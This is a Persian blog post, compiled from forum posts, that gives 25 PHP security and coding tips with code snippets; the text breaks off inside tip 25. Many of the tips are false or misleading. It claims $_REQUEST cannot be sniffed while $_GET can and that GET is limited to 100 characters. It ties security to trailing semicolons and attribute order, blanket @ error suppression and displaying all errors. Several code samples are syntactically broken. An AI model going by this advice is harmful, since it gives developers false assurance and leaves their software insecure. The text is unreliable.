ه نام آن خدایی که نام او راحت روح است و پیغام او مفتاح فتوح است و سلام او در وقت صباح مؤمنان را صبوح است و ذکر او مرهم دل مجروح است و مهر او بلا نشینان را کشتی نوح است. <p style="text-align: center;"><img title="php" src="http://blog.iflashlord.com/wp-content/uploads/2009/03/php-300x157.png" alt="" width="207" height="108"></p> <p><span style="color: #808080;">این مطلب از مجوعه ای از مباحثی که در انجمن مجید آنلاین پیرامون <em>نکات و اصول مهم در برنامه نویسی پی اچ پی</em> نوشته شده است در اینجا جمع آوری شده است ( با تشکر از Y.PY عزیز و دیگر دوستان انجمن)</span></p> <p><strong><span style="color: #808080;">۱</span></strong>- هرگز فایل های ضمیمه شده رو با پسوند inc. ذخیره نکنید! یعنی name.class.inc رو به name.class.php تغییر بدید. و یا از .HTAccess برای سطح دسترسی inc. استفاده کنید.</p> <p><strong><span style="color: #808080;">۲</span></strong>- حتاًالمکان تگ های اضافی و فضا های خالی را حذف کنید و از باز و بسته کردن بیش از حد تگهای سرور (<?php ?> <? ?> <?= ?> خودداری کنید. در عمل تفاوتی ندارند ولی در حجم و سرعت، به ازای هر ۱ کاراکتر اضافی ۱ بایت حجم فایل و صفحه و Loading میبره بالا(مخصوصاً در پروژه های سنگین)!</p> <p><strong><span style="color: #808080;">۳</span></strong>-<strong><span style="color: darkgreen;"> </span></strong>کلاس های خود را با قرار دادن ; کامل ببندید و کلاس را با Final و Initialize/__construct شروع کنید تا Clone نشوند:</p> <div> <div id="highlighter_466137"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> </td> <td> <div> <div><code>final</code> <code>class</code> <code>Name</code></div> <div><code>{</code></div> <div><code>final</code> <code>public</code> <code>function</code> <code>__construct()</code></div> <div><code>{</code></div> <div><code>#…</code></div> <div><code>}</code></div> <div><code>};</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">۴</span></strong>- برای Escape کردن کاراکترهای ویژه و <strong>جلوگیری از خیلی از حملات SQL</strong> از دستورات زیر استفاده کنید:</p> <div> <div id="highlighter_963232"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> </td> <td> <div> <div><code>get_magic_quotes_gpc ? </code><code>$Str_Input</code><code>= @</code><code>stripslashes</code><code>(</code><code>$Str_Input</code><code>) : </code><code>$Str_Input</code><code>= @</code><code>addslashes</code><code>(</code><code>$Str_Input</code><code>);</code><code>if</code><code>( function_exists(‘mysql_real_escape_string’)): @mysql_real_escape_string(</code><code>$Str_Input</code><code>);</code></div> <div><code>else</code><code>: @mysql_escape_string(</code><code>$Str_Input</code><code>);</code></div> <div><code>endif</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">5</span></strong>-<strong><span style="color: darkgreen;"> </span></strong>در کلاس خود از تابع پیش فرض<strong> clone__ </strong>برای جلوگیری از تقلید(Clone)(شبیه سازی) توابع استفاده کنید:</p> <div> <div id="highlighter_651400"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> <div>4</div> </td> <td> <div> <div><code>final</code> <code>public</code> <code>function</code> <code>__clone()</code></div> <div><code>{</code></div> <div><code>return</code><code>(@</code><code>exit</code><code>(‘Cloning is not allowed.’));</code></div> <div><code>}</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">۶</span></strong>-<strong><span style="color: darkgreen;"> </span></strong>هرگز از Cookie/Session برای ذخیره کلمه رمز یا مقادیر نمایشی استفاده نکنید(قابل تغییر هستند). خیلی ها از جمله … این مورد رو در نرم افزارشون رعایت نمی کنند و بارها آسیب های جدی و پیش پا افتاده ای رو متحمل میشن.</p> <p><span id="more-9"> </span></p> <p><span id="more-405"> </span><strong><span style="color: #808080;">۷</span></strong>-<strong><span style="color: darkgreen;"> </span></strong>در خط اول هر فایل PHP، بعد از خطا زدایی کامل صفحه، دستور (error_reporting(E_ALL@ را قرار بدید که تمامی خطا ها و هشدار ها رو نمایش بده. تا از سو استفاده های احتمالی جلوگیری بشه.</p> <p><strong><span style="color: #808080;">۸</span></strong>-<strong><span style="color: darkgreen;"> </span></strong>حتاًامکان از دستور GET_$ برای دریافت مقادیر استفاده نکنید. و به جاش از دستور REQUEST_$ استفاده کنید(مقدارش رو هم فیلتر کنید).<br> مقادیر متد GET_$، <strong><span style="color: darkred;">براحتی قابل Sniff و Steal هستند</span></strong>. همچنین ظرفیت این متد حداکثر ۱۰۰ کاراکتر هستش و تمام پارامترهای URL رو هم نوار آدرس مرورگر در معرض دید میزاره.<br> ولی متد REQUEST_$، هیچ کدوم از این ضعف ها رو نداره و قدرت پیمایشش هم بیشتره.<br> اینم یه مثال ساده برای معتبر سازیش:</p> <div> <div id="highlighter_957317"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>$Int_Identity</code><code>= (int)@preg_replace(‘/[^۰-۹]/i’, ”, </code><code>$_REQUEST</code><code>[</code><code>'Id'</code><code>]);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p> </p> <p><strong><span style="color: #808080;">9</span></strong>- <strong> </strong>حتماً تمامی دستورات Exit و Die رو با Ignore کردن خطا <strong>@</strong> و بستن محتوا استفاده کنید:</p> <div> <div id="highlighter_790933"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>@</code><code>exit</code><code>(”); یا @</code><code>die</code><code>(”);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">۱۰</span></strong>- <strong> </strong>در اول هر کلاس و تابع حتماً وجود و بودن کلاس و تابع رو چک کنید!</p> <div> <div id="highlighter_601991"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> </td> <td> <div> <div><code>if</code><code>(!</code><code>extension_loaded</code><code>(’standard’)): @</code><code>exit</code><code>(‘Extension Standard not loaded!’);</code></div> <div><code>elseif</code><code>(!</code><code>extension_loaded</code><code>(‘mysql’)): @</code><code>exit</code><code>(‘Extension MySQL not loaded!’);</code></div> <div><code>elseif</code><code>(!</code><code>class_exists</code><code>(‘ClassName’)): @</code><code>exit</code><code>(‘Class ClassName not exists!’);</code></div> <div><code>endif</code><code>;</code></div> <div><code>…</code></div> <div><code>if</code><code>(function_exists(‘mysql_real_escape_string’)): @mysql_real_escape_string(…);</code></div> <div><code>else</code><code>: @mysql_escape_string(…);</code></div> <div><code>endif</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">11</span></strong>- <strong> </strong><span style="color: darkred;">هرگز از روش زیر برای آدرس دهی(Action) استفاده نکنید:</span></p> <div> <div id="highlighter_302281"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> </td> <td> <div> <div><code><form name=”Frm_Test” action=”<?= </code><code>$_Server</code><code>[</code><code>'PHP_Self'</code><code>] ?>“ method=”post” target=”_self”></code></div> <div><code>…</code></div> <div><code></form></code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p>چراکه قابل تغییر و دستکاری هستند(برای حملات (XSS(Cross Side Scripting).<br> راه حل:</p> <div> <div id="highlighter_477217"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> </td> <td> <div> <div><code>$_PHPSelf</code><code>= @</code><code>basename</code><code>(</code><code>__File__</code><code>);</code></div> <div><code>$_Server</code><code>[</code><code>'PHP_Self]= @substr($_Server['</code><code>PHP_Self</code><code>'], ۰, @strpos($_Server['</code><code>PHP_Self], </code><code>$_PHPSelf</code><code>)) . </code><code>$_PHPSelf</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">12</span></strong>- <strong> </strong>حتماً تمامی خروجی ها رو به نوع مربوطش تبدیل کنید:</p> <div> <div id="highlighter_719704"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>echo</code><code>((string)‘Test ’ . </code><code>$_Var_Test</code><code>);</code><code>return</code><code>((string) </code><code>$_Str_Test</code><code>);</code><code>return</code><code>((integer) </code><code>$_Int_Test</code><code>);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">13</span></strong>- و در آخر، بهتر و ایمن تره اگر تمامی تگ ها و بلاک ها رو کامل مشخص کنید و کامل ببندید:<br> حافظه هم دچار مشکل نمیشه.</p> <div> <div id="highlighter_284104"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>01</div> <div>02</div> <div>03</div> <div>04</div> <div>05</div> <div>06</div> <div>07</div> <div>08</div> <div>09</div> <div>10</div> <div>11</div> <div>12</div> <div>13</div> <div>14</div> <div>15</div> <div>16</div> <div>17</div> <div>18</div> <div>19</div> <div>20</div> <div>21</div> <div>22</div> <div>23</div> <div>24</div> <div>25</div> <div>26</div> <div>27</div> <div>28</div> <div>29</div> <div>30</div> <div>31</div> <div>32</div> <div>33</div> </td> <td> <div> <div><code>if</code><code>(…): …</code></div> <div><code>endif</code><code>;</code></div> <div><code>if</code><code>(…): …</code></div> <div><code>else</code><code>(…): …</code></div> <div><code>endif</code><code>;</code><code>if</code><code>(…): …</code></div> <div><code>elseif</code><code>(…): …</code></div> <div><code>else</code><code>(…): …</code></div> <div><code>endif</code><code>;</code></div> <div> </div> <div><code>if</code><code>(…)</code></div> <div><code>{</code></div> <div><code>…</code></div> <div><code>};</code></div> <div> </div> <div><code>if</code><code>(…): …</code></div> <div><code>{</code></div> <div><code>…</code></div> <div><code>}</code></div> <div><code>else</code></div> <div><code>{</code></div> <div><code>…</code></div> <div><code>};</code></div> <div> </div> <div><code>while</code><code>(…):</code></div> <div><code>endwhile</code><code>;</code></div> <div> </div> <div><code>while</code><code>(…)</code></div> <div><code>{</code></div> <div><code>};</code></div> <div> </div> <div><code>for</code><code>…</code></div> <div><code>foreach</code><code>…</code></div> <div><code>…</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><span style="color: darkred;"><strong>مجموعه مشخصی از اشتباهات و آسیب ها و ضعف های نرم افزاری غالباً تکراری رخ می دهند! </strong></span><br> که چیزی جز خجالت و خسارت بدنبال نداره. و این آخر جهل و نادانی رو میرسونه. اگر یه سری به SecurityFocus.com/archive، MilW0rm.com، Net-Security و غیره برنید متوجه این موضوع میشید. پس <strong>اگر برنامه نویس هستید</strong>، حتماً از آخرین رویداد ها و اخبار امنیتی نرم افزارها مطلع باشید.</p> <p><strong> </strong><br> <span style="color: #808080;"><strong> </strong></span><strong><span style="color: #808080;">۱۴</span></strong>- هرگز از SQLite برای <strong>نرم افزارهای سنگین</strong> استفاده نکنید!<br> شاید SQLite نقات قوت زیادی داشته باشه(<span style="color: darkgreen;">از جمله مستقل بودن</span>)، ولی در رابطه با نرم افزارهای سبک!<br> در نرم افزارهای سنگین،<br> <strong>اولیش:</strong> عدم نیاز به پردازش سرور! در ظاهر یه نقطه قوت هست، ولی نداشتن پردازش سرور، مجموعه ای از مشکلات بزرگ و خطرناکی رو بهمراه داره: از قبیل قفل فایل، مسایل همزمانی، مشکلات حافظه، نداشتن کش Query، مشکلات باینری، مشکلات سرریز شدن(Overflow) داده های سنگین و مشکلات مقیاسی هنگام برخورد با توده عظیمی از اطلاعات!<br> <strong>دومیش: </strong>باینری نا امن! SQLite اطلاعات باینری رو نمیتونه Handle کنه. برای Insert کردن داده از نوع باینری، ابتدا باید آنرا Encode کنید. بهمین شکل باید تا آخر، پس از یک Select، داده رو هی Encode/Decode کنید!<br> <strong>سومیش: </strong>همه جداول را قفل می کنه!<img title="Shocked" src="http://forum.majidonline.com/majidonline/smiley_new/majidonline_shocked.gif" alt="" border="0"> اکثر پایگاه های داده جداول انفرادی(یا حتی سطر ها) رو در حین انجام عملیات قفل می کنند، اما SQLite خفنه و بخاطر کاربردش، همه پایگاه داده رو در حین عملیات قفل میکنه . که این Read/Write همزمان رو بسیار کند میکنه! و مشکلات عمده و بزرگ دیگه ای از این قبیل رو بهمراش میاره!<br> <strong><span style="color: red;">پس هرگز از SQLite برای نرم افزار های سنگین(با داده های سنگین) استفاده نکنید!</span></strong></p> <p><strong><span style="color: #808080;">۱۵</span></strong>- <span style="color: #808080;"><strong><span style="color: deepskyblue;"> </span></strong></span><strong> </strong>***** بعد از هر بار استفاده از متغیرها، آرایه ها، شی ها، کلاس ها و غیره… اگر دیگر مقدار آنرا آدرسی دهی نمی کنید اون رو خنثی(یا آزاد) کنید. با این کار سرعت عمل حافظه و پردازش اطلاعات و امنیت اطلاعات رو بالا می برید(این امر در مورد دیگر زبانهای برنامه نویسی هم صدق می کنه).<br> در PHP:</p> <p><span style="font-size: small;">با دستور <strong>()unset</strong>.</span></p> <p>مخصوصاً درخواستهای HTTP رو! مثل</p> <div dir="ltr"><strong><span style="color: red;">$_GET</span></strong>, <strong><span style="color: purple;">$_POST</span></strong>, <strong><span style="color: darkgreen;">$_REQUEST</span></strong></div> <p>. این طوری از Steal و Sniff کردن مقادیرشون هم جلوگیری میشه(تا حد زیادی).</p> <p><strong><span style="color: #808080;">۱۶</span></strong>- اگر به قاعده های توابع موجود در بسته <strong>PCRE</strong> مسلط نیستید یا به صحت قواعدتون شک دارید برای فیلتر کردن ورودیها/خروجیها استفاده نکنید. اینها توابعی بسیار دقیق در عین حال خیلی حساس هستند. از توابع خود بسته Standard استفاده کنید. <strong><span style="color: darkgreen;">بهینه تر </span></strong>هم هست(اگر نیازی به قواعد ندارید).<br> حتی سرعت برخی توابعی که در بسته Standard هستش از توابع موجود در بسته PCRE خیلی بیشتره! نمونش: <strong><span style="color: darkgreen;">سرعت عمل تابع str_replace نسبت به تابع preg_replace، دقیقاً ۲۰% بیشتره</span></strong>(با مثال هم نشون میدم).</p> <p><strong><span style="color: #808080;">۱۷</span></strong>- در زبانهای برنامه نویسی استاندارد(به غیر از VB و +A شاید Delphi) وقتی شما دستوری رو می نویسید و اجرا می کنید، حافظه پایان اون دستور رو <strong>; </strong>یا همون<strong> نقطه ویرگول</strong> می دونه و یکی از <strong>ریز دلایلی</strong> که باعث شد استاندارد معرفی بشن همینه.<br> <strong>عدم رعایتش باعث: کندی در پردازش، آسیب پذیری، سردرگمی در بررسی اولیه صحت دستورات، اشغال فضای حافظه(غیر قابل تخلیه)، بروز خطا(در نرم افزارهای سنگین) و از این قبیل هستش!</strong><br> مثال صحیح(تکرار):</p> <div> <div id="highlighter_876486"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> </td> <td> <div> <div><code>if</code><code>(</code><code>$_X</code><code>)</code></div> <div><code>{</code></div> <div><code>};</code><code>for</code><code>( </code><code>$_X</code><code>; …)</code></div> <div><code>{</code></div> <div><code>};</code><code>if</code><code>( </code><code>$_X</code><code>): …</code></div> <div><code>endif</code><code>;</code><code>for</code><code>( </code><code>$_X</code><code>; …): …</code></div> <div><code>endfor</code><code>;</code><code>class</code> <code>X</code></div> <div><code>{</code></div> <div><code>};</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong> </strong><strong><span style="color: #808080;">۱۸</span></strong>- حتاامکان همه پارامترها، مقادیر، دستورات و غیره… رو تعریف کنید و بحالت پیش فرض رهاش نکنید تا خرابکار(خارج از نرم افزار) سو استفاده و تعریفش نکنه!</p> <p><strong><span style="color: #808080;">۱۹</span></strong>- <strong><span style="color: deepskyblue;"> </span></strong>اگر بیش از ۳ تابع دارید که در یک زمینه فعالیت می کنن همه رو در یک کلاس قرار بدید. <strong>هم ایمنیش بیشتره(براحتی فراخونی نمیشه)، هم Handling کردنش و هم قدرت پیمایشش</strong>. من خودم قبلاً به دلیل سرعت بیشتر تابع، شاید تا ۵ تابع رو هم کلاس نمی کردم مگر اینه توابع سنگینی بوده باشن. ولی از وقتی از شامپو کلاس استفاده می کنم(ریزش موهام ۲ برابر شده ، خیلی خوبه) کارمم تمیز تر شده <img title="Wink" src="http://forum.majidonline.com/majidonline/smiley_new/majidonline_wink.gif" alt="" border="0">.</p> <p><strong><span style="color: #808080;">۲۰</span></strong>- قبل از استفاده از کلاس، تابع و بسته از وجودش مطلع بشید. حتماً حتماً!<br> مثال صحیح:</p> <div> <div id="highlighter_239222"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>01</div> <div>02</div> <div>03</div> <div>04</div> <div>05</div> <div>06</div> <div>07</div> <div>08</div> <div>09</div> <div>10</div> </td> <td> <div> <div><code>if</code><code>(!</code><code>extension_loaded</code><code>(’standard’)): @</code><code>exit</code><code>(‘Extension Standard not loaded.’);</code></div> <div><code>elseif</code><code>(!</code><code>extension_loaded</code><code>(‘mysql’)): @</code><code>exit</code><code>(‘Extension MySQL not loaded.’);</code></div> <div><code>elseif</code><code>(!</code><code>extension_loaded</code><code>(‘pcre’)): @</code><code>exit</code><code>(‘Extension PCRE not loaded.’);</code></div> <div><code>elseif</code><code>(!</code><code>extension_loaded</code><code>(’session’)): @</code><code>exit</code><code>(‘Extension Session not loaded.’);</code></div> <div><code>elseif</code><code>(!</code><code>class_exists</code><code>(‘Tehran’)): @</code><code>exit</code><code>(‘Class Tehran does not exist.’);</code></div> <div><code>endif</code><code>;</code></div> <div><code>و…</code></div> <div><code>if</code><code>(function_exists(’settype’)): settype(</code><code>$Str_Input</code><code>, ’string’);</code></div> <div><code>else</code><code>: (string)</code><code>$Str_Input</code><code>;</code></div> <div><code>endif</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p><strong><span style="color: #808080;">۲۱</span></strong>- <strong><span style="color: deepskyblue;"> </span></strong>الفبای کد نویسی ایستا!<br> بین(صحیح):</p> <div> <div id="highlighter_604128"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code><input name=</code><code>"InpTxt_Username"</code> <code>type=</code><code>"text"</code> <code>value=</code><code>""</code> <code>maxlength=</code><code>"15"</code> <code>size=</code><code>"15"</code> <code>id=</code><code>"InpTxt_Username"</code><code>></code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p>و (غلط):</p> <div> <div id="highlighter_463819"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code><input type=</code><code>"text"</code> <code>name=</code><code>"InpTxt_Username"</code> <code>id=</code><code>"InpTxt_Username"</code><code>></code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p>خیلی تفاوت و جای سو، استفاده هست!<br> حتی بین پارامترهای CSS(غلط):</p> <div> <div> <div id="highlighter_78976"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>overflow</code><code>: </code><code>hidden</code><code>; </code><code>width</code><code>: </code><code>250px</code><code>; </code><code>height</code><code>: </code><code>auto</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p>و(صحیح):</p> <div> <div> <div id="highlighter_747236"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>width</code><code>: </code><code>250px</code><code>; </code><code>height</code><code>: </code><code>auto</code><code>; </code><code>overflow</code><code>: </code><code>hidden</code><code>;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p>همچنین بین(صحیح):</p> <div> <div> <div id="highlighter_116153"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>$_REQUEST</code><code>[</code><code>'FormName'</code><code>], </code><code>$_REQUEST</code><code>[</code><code>'SubmitButtonName'</code><code>,...</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p>و(غلط):</p> <div> <div> <div id="highlighter_329843"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>$_GET</code><code>[</code><code>'FormName'</code><code>], </code><code>$_GET</code><code>[</code><code>'SubmitButtonName'</code><code>],…</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p><strong><span style="color: red;">خیلی تفاوت و جای سو استفاده هست!</span></strong><br> پس در نوشتن اینها(حتی اگر خودکار Insert می شوند) دقت کنید!</p> <p><strong><span style="color: #808080;">۲۲</span></strong>- از متد Protected/Public/Private به جای متد <strong><span style="color: red;">Var</span></strong> استفاده کنید. متد Var که معادل Public در PHP 5 هستش منسوخ شده و سطح ایمنی بسیار پایینی برای محافظت متغیر های داخلی داره. پس حتاًالمکان از این متد استفاده نکنید.<br> شاید هم در نگارش های بعدی PHP(به غیر از Alpha و Beta) بکلی حذف شود! انشاا…</p> <p><strong><span style="color: #808080;">۲۳</span></strong>- <strong><span style="color: deepskyblue;"> </span></strong>حتاامکان از دستورات ::Self و ::Parent در کلاس والد برای دستیابی به اعضا و غیره…، به جای ::ClassName استفاده کنید. در عمل و ظاهر تفاوتی ندارند ولی در باطن(حافظه) خیلی فرق دارند(پشمایش کلی انجام میده).</p> <p><strong><span style="color: #808080;">۲۴</span></strong>- <strong><span style="color: red;"><span style="font-size: small;">آسیب پذیری مشترک و همگانی!</span></span></strong><br> ورودی و خروجی پارامترهای URL رو <strong>چک و فیلتر </strong>کنید. مطمعن شوید که مثلاً</p> <div dir="ltr"><strong>/index.php?Module=News&Action=Show&Identity=1&Valid =True…</strong></div> <p>، در اینجا Module از نوع حروف(Alphabetic) به طول ۲۵۵ کاراکتر، و Action هم از نوع حروف(Alphabetic) با طول ۲۵۵ کاراکتر و Identity از نوع عدد(Integer) با طول ۱۰، و Valid از نوع Boolean هستش! <strong>این نکته ساده رو اغلب رعایت نمی کنن و بارها بارها بارها آسیب های جدی در نرم افزار هایشون بصورت مکرر پیش میاد.</strong><br> <span style="color: darkred;"><span style="font-size: xx-small;">همین الان در همین تالار خیلی ها وبسایتهایی دارند که از این نقطه آسیب پذیرند!!</span></span></p> <p><strong><span style="color: #808080;">۲۵</span></strong>- <strong><span style="color: deepskyblue;"> </span></strong>خروجی ها رو به نوع مربوطش <strong>حتماً حتماً حتماً </strong>تبدیل کنید.<br> مثلاً:</p> <div> <div> <div id="highlighter_709382"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>return</code><code>((</code><code>array</code><code>)</code><code>$_Ary_Output</code><code>);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p>،</p> <div> <div> <div id="highlighter_985826"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>return</code><code>((string)</code><code>$_Str_Output</code><code>);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p>…<br> اگر هم نرم افزارتون قابلیت تغییر Template/Theme رو داره، <strong>در آخر خروجی</strong> HTML یا همون Echo، از دستور<br> <strong> </strong></p> <div> <div> <div id="highlighter_385858"> <div><span><a 